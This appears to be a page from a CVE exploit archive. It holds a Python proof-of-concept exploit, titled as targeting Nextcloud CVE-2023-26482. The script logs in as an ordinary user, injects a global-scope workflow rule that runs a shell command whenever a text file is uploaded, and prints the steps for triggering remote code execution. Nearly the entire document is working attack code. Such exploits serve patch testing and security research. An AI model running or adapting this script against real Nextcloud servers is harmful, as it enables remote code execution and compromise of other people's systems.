4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import sys
import json

# Configuration
URL = "http://localhost:8080"
USERNAME = "attacker"
PASSWORD = "AttackerPassword123!"
CMD = "touch /tmp/pwned"

def print_banner():
    print("-" * 50)
    print("    Nextcloud CVE-2023-26482 Exploit PoC")
    print("    Target: " + URL)
    print("    User:   " + USERNAME)
    print("-" * 50)

def main():
    print_banner()
    s = requests.Session()
    
    # 1. Login
    print("[*] Step 1: Attempting to log in...")
    try:
        login_page = s.get(f"{URL}/login")
        requesttoken = login_page.text.split('data-requesttoken="')[1].split('"')[0]
    except Exception as e:
        print(f"[-] Error fetching login page: {e}")
        sys.exit(1)

    login_data = {
        "user": USERNAME,
        "password": PASSWORD,
        "requesttoken": requesttoken,
        "timezone": "Europe/Paris",
        "timezone_offset": "1"
    }
    
    r = s.post(f"{URL}/login", data=login_data)
    if "Log out" not in r.text and "logout" not in r.text:
        print("[-] Login failed. Check credentials.")
        sys.exit(1)
    print(f"[+] Login successful as '{USERNAME}'.")

    # 2. Extract Token
    try:
        requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0]
    except IndexError:
        r = s.get(f"{URL}/apps/dashboard/")
        requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0]

    # 3. Create Malicious Workflow
    print("[*] Step 2: Injecting malicious workflow rule...")

    headers = {
        "Requesttoken": requesttoken,
        "OCS-APIRequest": "true",
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest"
    }

    # Payload matches the create() method signature from
    # apps/workflowengine/lib/Controller/AWorkflowController.php:
    #   create(string $class, string $name, array $checks, string $operation, string $entity, array $events)
    #
    # - class:     The Operation class (OCA\WorkflowScript\Operation)
    # - name:      Human-readable rule name
    # - checks:    Array of conditions (check class, operator, value)
    # - operation: The actual command/script to execute
    # - entity:    The Entity class that provides the trigger context
    # - events:    Array of event identifiers to listen for
    payload = {
        "class": "OCA\\WorkflowScript\\Operation",
        "name": "PoC RCE Rule",
        "checks": [
            {
                "class": "OCA\\WorkflowEngine\\Check\\FileMimeType",
                "operator": "is",
                "value": "text/plain"
            }
        ],
        "operation": CMD,
        "entity": "OCA\\WorkflowEngine\\Entity\\File",
        "events": ["\\OCP\\Files::postCreate"]
    }

    # CVE-2023-26482: Try the GLOBAL endpoint first.
    # The vulnerability is that a non-admin user can create admin-scoped (global) workflows
    # because the GlobalWorkflowsController lacks proper scope validation.
    api_url_global = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/global?format=json"
    api_url_user   = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/user?format=json"

    print(f"    [*] Attempting global scope injection (CVE-2023-26482)...")
    r = s.post(api_url_global, json=payload, headers=headers)

    if r.status_code in [200, 201]:
        scope_label = "GLOBAL (admin)"
    else:
        print(f"    [!] Global endpoint returned HTTP {r.status_code}, falling back to user scope...")
        r = s.post(api_url_user, json=payload, headers=headers)
        scope_label = "USER"

    if r.status_code in [200, 201]:
        print(f"[+] Success! Malicious workflow created (scope: {scope_label}).")
        try:
            response_json = r.json()
            ocs_data = response_json.get("ocs", {}).get("data", {})
            print(f"    - Rule ID: {ocs_data.get('id', 'Unknown')}")
            print(f"    - Class: {ocs_data.get('class', 'Unknown')}")
            print(f"    - Entity: {ocs_data.get('entity', 'Unknown')}")
        except:
            print(f"    - Raw Response: {r.text[:300]}")

        print(f"    - Command: {CMD}")
        print("-" * 50)
        print("[*] Exploit Complete. To trigger the RCE:")
        print("    1. Log in to Nextcloud as ANY user.")
        print("    2. Upload a .txt file (MIME: text/plain).")
        print(f"    3. Verify: docker-compose exec app ls -la /tmp/pwned")
        print("-" * 50)
    else:
        print(f"[-] Exploitation failed. HTTP {r.status_code}")
        print(f"[-] Response: {r.text}")

if __name__ == "__main__":
    main()